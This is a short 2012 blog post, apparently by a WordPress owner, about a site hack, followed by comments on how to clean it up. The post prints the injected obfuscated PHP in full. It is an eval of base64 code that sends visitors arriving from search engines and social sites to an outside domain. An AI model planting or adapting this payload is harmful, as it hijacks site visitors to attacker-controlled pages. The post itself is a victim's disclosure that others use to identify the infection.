Guess Who Got Hacked Again! Awesome!…But I Can Fix It Perm.

Here is the cause of my woes! =(
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZ2lnb3AuYW1lcmljYW51bmZpbmlzaGVkLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"))
Its going to die. yay!

3 Responses to “Guess Who Got Hacked Again! Awesome!…But I Can Fix It Perm.”

  1. Bandy April 14, 2012 at 7:13 am #

    How do you plan on fixing it permanently? I’ve had that issue server-wide for awhile now and I end up just editing it out of files one by one.

    • cameronkeng April 14, 2012 at 2:46 pm #

      heys well theres two ways. one is super easy and the other is not too hard if youre comfortable with command line. but, basically you’ll need to get ssl/shell access to your host either through a web cpanel or putty/sudo.

      then you can apply a script a that’ll search for that script and then create a copy of the file without it. another script would then delete it from your system and then your problem is gone.

      the easiest option is to just move your website to a different host or a new host account. then reinstall everything from a backup. you’re xml is ggoing to be clean so you can just ignore the rest.

Trackbacks/Pingbacks:

  1. WordPress + Google Search Result links redirected/hijacked/hacked | Luna Design - April 23, 2012

    [...] another brilliant idea. I google the nasty infection code (shown above). Looky what I found: http://www.cameronkeng.com/2012/04/04/guess-who-got-hacked-again-awesome-but-i-can-fix-it-perm/ Another poor soul whose WordPress site got hacked. He explains his solution to the problem [...]

Leave a Reply:

Gravatar Image